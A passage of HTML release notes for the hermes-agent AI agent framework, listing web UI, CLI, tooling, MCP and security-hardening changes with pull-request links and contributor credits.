<li>Memory provider switching; safe session import flow; WhatsApp pairing; Discord-specific toolsets editable from the web UI; clarified manual Telegram bot setup (<a href="https://github.com/NousResearch/hermes-agent/pull/60569" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60569/hovercard">#60569</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63699" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63699/hovercard">#63699</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60571" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60571/hovercard">#60571</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65361" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65361/hovercard">#65361</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64636" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64636/hovercard">#64636</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a>)</li>
<li>Terminal keep-alive + reattach for dashboard chat sessions; heavy turns isolated in a compute host; paste/drop images into Chat; <code>browser.headed</code> schema toggle; profile + gateway topology on <code>/api/status</code>; mobile/hosted OpenAI OAuth login (<a href="https://github.com/NousResearch/hermes-agent/pull/60515" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60515/hovercard">#60515</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65895" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65895/hovercard">#65895</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61929" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61929/hovercard">#61929</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67046" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67046/hovercard">#67046</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60537" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60537/hovercard">#60537</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61330" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61330/hovercard">#61330</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li><code>hermes serve</code> is a true headless backend (no web UI build/mount) (<a href="https://github.com/NousResearch/hermes-agent/pull/55923" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55923/hovercard">#55923</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h2>🧰 CLI &amp; TUI</h2>
<ul>
<li><code>/subscription</code> + <code>/topup</code> terminal billing (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/51639" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51639/hovercard">#51639</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>)</li>
<li><strong><code>/model --once</code></strong> — one-turn model override that reverts automatically (<a href="https://github.com/NousResearch/hermes-agent/pull/67113" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67113/hovercard">#67113</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, salvaging <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496326587" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/29923" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29923/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/29923">#29923</a>)</li>
<li><strong>Stacked slash-skill invocations</strong> — <code>/skill-a /skill-b do XYZ</code> loads both skills in order (Claude Code port), with autocomplete + ghost text (<a href="https://github.com/NousResearch/hermes-agent/pull/57987" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57987/hovercard">#57987</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58763" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58763/hovercard">#58763</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><code>--safe-mode</code> troubleshooting flag; uninstall dry-run; TLS failures fail fast with fix hints; <code>/compact</code> alias + preview flags; pip/Homebrew installs warned unsupported (<a href="https://github.com/NousResearch/hermes-agent/pull/45300" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45300/hovercard">#45300</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60111" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60111/hovercard">#60111</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57992" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57992/hovercard">#57992</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57029" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57029/hovercard">#57029</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57225" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57225/hovercard">#57225</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
<li>TUI: model picker refresh support; custom skill bundles dispatched as agent turns; banner sizes skills display to terminal width (<a href="https://github.com/NousResearch/hermes-agent/pull/59782" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59782/hovercard">#59782</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62859" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62859/hovercard">#62859</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adolanium/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adolanium">@Adolanium</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40624" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40624/hovercard">#40624</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Hermes Console REPL + perf follow-ups; <code>hermes curator usage</code> all-skills view; entry-point plugins surfaced in <code>hermes plugins list</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/57781" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57781/hovercard">#57781</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/36727" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/36727/hovercard">#36727</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40623" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40623/hovercard">#40623</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🔧 Tool System, Skills &amp; MCP</h2>
<ul>
<li>MCP: <code>mcp__server__tool</code> naming convention; server log notifications surfaced in agent.log; hosted OAuth completed across Dashboard + Desktop; configurable <code>redirect_uri</code>/<code>redirect_host</code> for proxied/WAF setups; OAuth callback port races closed; Blender added to the MCP catalog with a curated 4-tool default (<a href="https://github.com/NousResearch/hermes-agent/pull/52750" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52750/hovercard">#52750</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57416" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57416/hovercard">#57416</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66151" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66151/hovercard">#66151</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65610" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65610/hovercard">#65610</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65622" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65622/hovercard">#65622</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64463" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64463/hovercard">#64463</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li>Skills: <code>security/unbroker</code> (autonomous data-broker removal) + blind opt-out hardening; <code>unreal-mcp</code> companion skill; blender-mcp reworked around the catalog entry; humanizer pattern expansion; <code>mcp-oauth-remote-gateway</code> optional skill (<a href="https://github.com/NousResearch/hermes-agent/pull/57438" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57438/hovercard">#57438</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57902" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57902/hovercard">#57902</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65989" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65989/hovercard">#65989</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64715" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64715/hovercard">#64715</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65066" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65066/hovercard">#65066</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65486" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65486/hovercard">#65486</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Browser: full snapshots stored on truncation, eval denylist opt-in; computer_use follows cua-driver's verify→escalate ladder (<a href="https://github.com/NousResearch/hermes-agent/pull/65923" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65923/hovercard">#65923</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67123" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67123/hovercard">#67123</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Kanban: modal create-task dialog + editable board project directory; Done-card results made obvious; grab-to-pan board scrolling; attachment toolset + CLI with SSRF-guarded URL fetch; project directory captured at board creation (<a href="https://github.com/NousResearch/hermes-agent/pull/66333" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66333/hovercard">#66333</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63638" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63638/hovercard">#63638</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60226" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60226/hovercard">#60226</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65698" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65698/hovercard">#65698</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63249" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63249/hovercard">#63249</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Cron: durable execution audit history; one-shot stale-removal race fixed; run-claim TTL derived from HERMES_CRON_TIMEOUT (<a href="https://github.com/NousResearch/hermes-agent/pull/61791" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61791/hovercard">#61791</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62014" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62014/hovercard">#62014</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PRATHAMESH75/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PRATHAMESH75">@PRATHAMESH75</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59567" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59567/hovercard">#59567</a>)</li>
<li>mem0: self-hosted dashboard backend + recall tuning + setup-wizard mode (<a href="https://github.com/NousResearch/hermes-agent/pull/56943" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56943/hovercard">#56943</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60494/hovercard">#60494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Image gen: Codex image inputs; unsupported Codex image accounts classified; tool args recursively normalized by schema (cline port) (<a href="https://github.com/NousResearch/hermes-agent/pull/57017" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57017/hovercard">#57017</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63627" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63627/hovercard">#63627</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52220" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52220/hovercard">#52220</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🔒 Security &amp; Reliability</h2>
<ul>
<li>Vertex: credential/project/region resolution through the profile secret scope; <code>VERTEX_CREDENTIALS_PATH</code>/<code>GOOGLE_APPLICATION_CREDENTIALS</code> stripped from subprocess env (<a href="https://github.com/NousResearch/hermes-agent/pull/56680" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56680/hovercard">#56680</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56582/hovercard">#56582</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>)</li>
<li>Six P1 hardening PRs salvaged in one pass — browser guards, MEDIA anchoring, .env lockdown, delegate ACP transport (<a href="https://github.com/NousResearch/hermes-agent/pull/57660" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57660/hovercard">#57660</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Media/vision/image-gen local-file reads routed through the shared credential-read guard; native image routing guarded by file-safety policy; unified image-source resolver + terminal-backend confinement (<a href="https://github.com/NousResearch/hermes-agent/pull/58709" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58709/hovercard">#58709</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58752" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58752/hovercard">#58752</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57890" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57890/hovercard">#57890</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Webhook body-cap sweep: explicit <code>client_max_size</code> on 3 uncapped aiohttp servers + completion sweep; Raft chunked-request body limit; timestamp-bound V2 webhook signatures (<a href="https://github.com/NousResearch/hermes-agent/pull/59180" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59180/hovercard">#59180</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59215" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59215/hovercard">#59215</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58902" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58902/hovercard">#58902</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58508" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58508/hovercard">#58508</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>)</li>
<li>Redaction: Fireworks token prefixes + Telegram transport errors; env-lookup false positives fixed for KEY=value and JSON/YAML config fields; bot tokens scrubbed from Telegram connect/send errors (<a href="https://github.com/NousResearch/hermes-agent/pull/58501" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58501/hovercard">#58501</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58534" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58534/hovercard">#58534</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58915" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58915/hovercard">#58915</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58893" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58893/hovercard">#58893</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>computer-use: subprocess env sanitized across all five cua-driver spawn sites (<a href="https://github.com/NousResearch/hermes-agent/pull/58889" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58889/hovercard">#58889</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59165" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59165/hovercard">#59165</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Dashboard: managed-files credential guard widened past .env + dir-tree gap closed; OAuth token TOCTOU closed with atomic 0o600 writes; stale dashboards can't recreate deleted profiles (<a href="https://github.com/NousResearch/hermes-agent/pull/58222" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58222/hovercard">#58222</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60236" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60236/hovercard">#60236</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49435" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49435/hovercard">#49435</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>)</li>
<li>CI: untrusted refs passed through env, not <code>run:</code> interpolation; JS/TS tests wired into CI with source-regex tests banned; js-autofix pushes via PR instead of direct-to-main (<a href="https://github.com/NousResearch/hermes-agent/pull/57842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57842/hovercard">#57842</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60707" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60707/hovercard">#60707</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65186/hovercard">#65186</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
<li>Docker: terminal network toggle with full-path coverage; Git Bash Mandatory-ASLR install failures detected; Windows updater console hidden during handoff (<a href="https://github.com/NousResearch/hermes-agent/pull/59149" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59149/hovercard">#59149</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64651" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64651/hovercard">#64651</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66040" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66040/hovercard">#66040</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>)</li>
<li>Anthropic: request-local clients so the stale/interrupt watchdog never corrupts SQLite; per-profile OAuth file; OAuth login 429 fixed (UA must not be claude-code/) (<a href="https://github.com/NousResearch/hermes-agent/pull/67238" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67238/hovercard">#67238</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59339" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59339/hovercard">#59339</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58178" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58178/hovercard">#58178</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Gateway/agent: tool_call_id deduplicated across pre-API sanitizers; background review inherits parent reasoning_config for Anthropic cache parity; <code>/new</code> memory extraction moved off the command path (<a href="https://github.com/NousResearch/hermes-agent/pull/58350" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58350/hovercard">#58350</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64379" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64379/hovercard">#64379</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61139" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61139/hovercard">#61139</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🔁 Reverted in this window (for the record)</h2>
<ul>
<li>iron-proxy credential-injection egress firewall (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499336733" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/30179" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30179/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/30179">#30179</a> → reverted in <a href="https://github.com/NousResearch/hermes-agent/pull/58489" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58489/hovercard">#58489</a>) — not shipping in this release</li>
<li>dynamic-workflow orchestration skill (landed, then reverted) — not shipping</li>
<li>memory provider-actions extension point (landed, then reverted) — not shipping</li>
<li>Note: the plugin <code>pre_tool_call</code> approve escalation was reverted mid-window but <strong>re-landed</strong> in <a href="https://github.com/NousResearch/hermes-agent/pull/60504" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60504/hovercard">#60504</a> and ships in this release.</li>
</ul>
<h2>👥 Contributors</h2>
<p><strong>450+ people</strong> contributed to this release (via commits, co-author trailers, and salvaged PRs) — the biggest contributor window yet. Thank you, all of you.</p>
<h3>Core team</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a> — release lead; TTFT perf wave, delivery + delegation durability, smart approvals, SecretSource, gateway multiplex + profile routing, sessions export, security round, and a ~290-PR community salvage burn</li>
